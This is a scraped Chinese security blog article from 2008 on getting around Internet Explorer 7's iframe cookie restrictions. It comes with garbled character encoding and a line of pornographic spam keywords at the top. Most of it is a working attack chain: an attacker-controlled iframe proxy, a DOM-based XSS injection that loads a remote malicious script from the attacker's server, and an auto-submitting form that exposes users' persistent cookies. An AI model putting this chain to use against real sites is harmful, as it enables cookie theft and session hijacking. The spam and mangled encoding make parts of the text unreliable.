欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

教你如何突破IE安全限制獲取iframe子框架內(nèi)的本地cookie(圖)

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 21:29:03   作者:佚名   我要評(píng)論
我的測(cè)試環(huán)境是: IE 7 (7.0.5730.13) 以下所有的內(nèi)容全部經(jīng)過(guò)我在IE7中測(cè)試,是真實(shí)有效的結(jié)果。 Iframe的限制: 因?yàn)閕frame這個(gè)玩意比較特殊,所以瀏覽器對(duì)它一般都有一些限制。 首先父窗口不能控制子窗口的js,只能讀取一些對(duì)象;子窗口也不能使用父窗
我的測(cè)試環(huán)境是: IE 7 (7.0.5730.13)

以下所有的內(nèi)容全部經(jīng)過(guò)我在IE7中測(cè)試,是真實(shí)有效的結(jié)果。

Iframe的限制:
因?yàn)閕frame這個(gè)玩意比較特殊,所以瀏覽器對(duì)它一般都有一些限制。

首先父窗口不能控制子窗口的js,只能讀取一些對(duì)象;子窗口也不能使用父窗口的js,也只能讀部分對(duì)象,更多的比如document啥的都限制了。

關(guān)系如下:

- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location
對(duì)于有些利用子窗口執(zhí)行父窗口js的方法是限制的
比如,在子窗口里可以這么使用:
parent.location.href="http://www.sohu.com";

上面的語(yǔ)句將把父窗口重新定義到sohu的網(wǎng)站去.

但是如果想執(zhí)行js,或者是讀取document對(duì)象,則會(huì)被拒絕訪問(wèn)
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");

像這兩條都會(huì)被拒絕。

對(duì)于iframe,F(xiàn)irefox3 居然是不限制本地cookie發(fā)送的!也就是說(shuō),在Firefox環(huán)境里,使用iframe包含一個(gè)遠(yuǎn)程頁(yè)面,是會(huì)將保存在本地的cookie發(fā)送出去的,這使得CSRF會(huì)非常之方便。

但是IE不同,對(duì)于IE環(huán)境中,img和iframe標(biāo)簽都只能發(fā)送session cookie,無(wú)法發(fā)送本地cookie,所以很多時(shí)候CSRF會(huì)失敗,這也會(huì)給XSS帶來(lái)很大的麻煩,比如會(huì)使得XSRF更困難一些。

鑒于Firefox一點(diǎn)挑戰(zhàn)都沒(méi)有,所以今天主要研究的對(duì)象是IE。

在IE環(huán)境下,程序員們一般都是使用P3P協(xié)議來(lái)獲取跨域cookie的,但是P3P也要求我們改寫(xiě)HTTP頭,更麻煩,在這里,我純粹使用一些腳本的技巧來(lái)突破這些限制。

突破IFRAME限制的思路:(以下都是在IE環(huán)境中)
由于頁(yè)面里的iframe都是發(fā)送的session cookie,所以子框架頁(yè)面里本身是只有一個(gè)session cookie的,我們無(wú)法通過(guò)在子框架里執(zhí)行js的方法來(lái)獲取本地cookie,無(wú)中生有的事情是干不出來(lái)的。

了解這一原理后,思路就很明確了:想辦法新起一個(gè)不受限制的窗口,從而獲取本地cookie。

具體來(lái)說(shuō),有這么兩個(gè)辦法:
1、 使用window.open打開(kāi)一個(gè)新窗口
2、 回到父窗口,讓其打開(kāi)一個(gè)新窗口

在子框架中,使用window.open()確實(shí)可以發(fā)送本地cookie,但是問(wèn)題是瀏覽器一般會(huì)限制頁(yè)面彈窗口,會(huì)被攔截,所以這個(gè)方法比較囧~~,不是個(gè)好辦法。

而第二個(gè)辦法,回到父窗口去打開(kāi)新窗口,就涉及到一個(gè)突破iframe執(zhí)行腳本的問(wèn)題,而這個(gè)問(wèn)題在我的前一篇Cross Iframe Trick 里已經(jīng)解決了,所以我們的方法就呼之欲出了。

利用Cross Iframe Trick突破iframe限制獲取子框架cookie:

Cross Iframe的最大貢獻(xiàn)就在于他可以繞過(guò)前面提到的iframe的限制,在父域或者子框架里獲取對(duì)象,執(zhí)行腳本。

當(dāng)一個(gè)頁(yè)面很難突破時(shí),如果他包含了一個(gè)存在弱點(diǎn)的iframe頁(yè)面,則可能會(huì)帶來(lái)災(zāi)難性的結(jié)果。

我相信真正精通腳本攻擊的人是能夠看到它的用處和優(yōu)勢(shì)的。

環(huán)境如下:(綁定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我們要攻擊的頁(yè)面,它包含了一個(gè)存在弱點(diǎn)的iframe,用戶只會(huì)去瀏覽這個(gè)頁(yè)面

http://www.baidu.com/3.html 是我們已經(jīng)控制的頁(yè)面,他作為一個(gè)iframe被1.html所包含。在這里是iframe proxy

http://www.a.com/4.html 是www.a.com上的一個(gè)存在XSS漏洞的頁(yè)面,一般情況下用戶不會(huì)去訪問(wèn)它!

http://www.b.com/4.js 這是攻擊者自己的服務(wù)器上的一個(gè)惡意腳本,將被XSS攻擊遠(yuǎn)程載入4.html中。

由于用戶只會(huì)瀏覽www.a.com/1.html,所以我們要通過(guò)腳本攻擊,從www.a.com/1.html里獲取用戶在www.baidu.com/3.html的本地cookie。

www.a.com/1.html的代碼如下:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
// 函數(shù)tt1 ,在最后將被4.html注入?yún)?shù)
function tt1(fvck){
alert("tt1() and args= " fvck);
document.write("<input id=\"bbb\" value=\'test1" fvck "\' >");
}
</script>

<body>
<iframe id="tt2_3" src="http://www.baidu.com/3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聰明的分割線 -------------------------------------------

它包含了一個(gè)iframe頁(yè)面

www.baidu.com/3.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>
<body>

<script>
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";

alert("3.html in iframe and cookie=" document.cookie);

// iframe proxy: 創(chuàng)建一個(gè)動(dòng)態(tài)iframe,并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' ><script src=\"http://www.b.com/4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>

</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------

3.html是我們的iframe proxy,利用它來(lái)完成在www.a.com里執(zhí)行腳本的工作。

www.a.com/4.html 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<html>

<script>
// 一個(gè)基于DOM的XSS漏洞
document.write("<input id=\"aaa\" value=\'test4" window.location.href "\' >");
//window.open("http://www.baidu.com/4.html"); 會(huì)帶上cookie
</script>

<body>
This is 4.html!
<!-- 把這里的注釋去掉可以用來(lái)測(cè)試,這樣發(fā)送的還是session cookie!
<form id="form1" method="post" action="http://www.baidu.com/2.html" >
<img src="/Article/UploadFiles/200809/20080902083122466.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聰明的分割線 -------------------------------------------

www.b.com/4.js 的代碼為:
---------------------------------- 我是聰明的分割線 -------------------------------------------
alert("4.js is loaded!");

top.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://www.baidu.com/2.html\" ><img src=\"/Article/UploadFiles/200809/20080902083122466.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');

---------------------------------- 我是聰明的分割線 -------------------------------------------

4.js才是我們真正利用XSS漏洞和Cross Iframe Trick來(lái)新起一個(gè)窗口,從而獲取本地cookie的方法。

www.baidu.com/2.html的代碼很簡(jiǎn)單,他的作用是查看當(dāng)前的cookie:
---------------------------------- 我是聰明的分割線 -------------------------------------------
<script>
alert("2.html cookie=" document.cookie);
</script>

---------------------------------- 我是聰明的分割線 -------------------------------------------

在這里攻擊流程是這樣的:
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----動(dòng)態(tài)iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中遠(yuǎn)程加載www.b.com/4.js


相關(guān)文章

  • 教你如何繞過(guò)安全狗(safedog)

    安全狗是一款大家熟悉的服務(wù)器安全加固產(chǎn)品,據(jù)稱已經(jīng)擁有50W的用戶量。最近經(jīng)過(guò)一些研究,發(fā)現(xiàn)安全狗的一些防護(hù)功能,例如SQL注入、文件上傳、防webshell等都可以被繞過(guò)
    2014-07-17
  • 復(fù)雜背景的驗(yàn)證碼識(shí)別破解 以Discuz的動(dòng)畫(huà)驗(yàn)證碼為例。

    對(duì)于比較復(fù)雜的驗(yàn)證碼,比如DZ論壇最新的驗(yàn)證碼,處理起來(lái)相對(duì)麻煩一些,但是原理還是和普通的識(shí)別一樣的,無(wú)非多了個(gè)背景處理的方案,看如下對(duì)DZ論壇的驗(yàn)證碼的識(shí)別的思路
    2009-11-06
  • 公共場(chǎng)所免費(fèi)WIFI盜取機(jī)密信息的幾個(gè)案例

    如今電子商務(wù)社會(huì),每個(gè)人的手機(jī)號(hào)上都綁定很多東西。比如網(wǎng)銀、支付寶、銀行卡、等很多關(guān)系到個(gè)人財(cái)產(chǎn)的東西。騙子也利用了這點(diǎn)來(lái)開(kāi)始作案。下面來(lái)分享幾個(gè)案例給大家認(rèn)識(shí)
    2014-04-25
  • 局域網(wǎng)偽造源地址DDoS攻擊解決方法

    假造源地址進(jìn)犯中,黑客機(jī)器向受害主機(jī)發(fā)送許多假造源地址的TCP SYN報(bào)文,占用安全網(wǎng)關(guān)的NAT會(huì)話資源,最終將安全網(wǎng)關(guān)的NAT會(huì)話表占滿,招致局域網(wǎng)內(nèi)一切人無(wú)法上彀。
    2012-10-25
  • HSRP(熱備份路由器協(xié)議)的詳細(xì)介紹

    HSRP:熱備份路由器協(xié)議(HSRP:Hot Standby Router Protocol),是cisco平臺(tái)一種特有的技術(shù),是cisco的私有協(xié)議。
    2012-05-14
  • 云火墻與云防火墻的區(qū)別是什么

    云火墻與云防火墻的區(qū)別是什么?下面為大家介紹。
    2012-10-19
  • 七類(lèi)最危險(xiǎn)的網(wǎng)絡(luò)管理員小結(jié)

    在這里,我們將看到七種最不安全的網(wǎng)絡(luò)管理員,并且總結(jié)了我觀察這個(gè)行業(yè)多年的經(jīng)驗(yàn),描述了這些不安全因素的特點(diǎn)
    2014-07-29
  • 提高無(wú)線網(wǎng)絡(luò)安全的四妙招

    首先說(shuō)一下無(wú)線加密,這種保護(hù)方式是目前最為常見(jiàn)的一種手段,用戶可以通過(guò)無(wú)線路由器的WEB界,來(lái)對(duì)無(wú)線網(wǎng)絡(luò)進(jìn)行加密設(shè)置
    2012-09-18
  • Mac DNS被劫持的解決辦法

    這篇文章主要介紹了Mac DNS被劫持的解決辦法,需要的朋友可以參考下
    2015-10-08
  • 惡意軟件隨處傳播 企業(yè)該怎么做好安全防御

    隨著互聯(lián)網(wǎng)時(shí)代的飛速發(fā)展,智能手機(jī)和平板電腦很快的融入到企業(yè)辦公當(dāng)中,當(dāng)然一些惡意軟件也會(huì)在這其中泛濫起來(lái),該如何防御呢
    2016-06-30

最新評(píng)論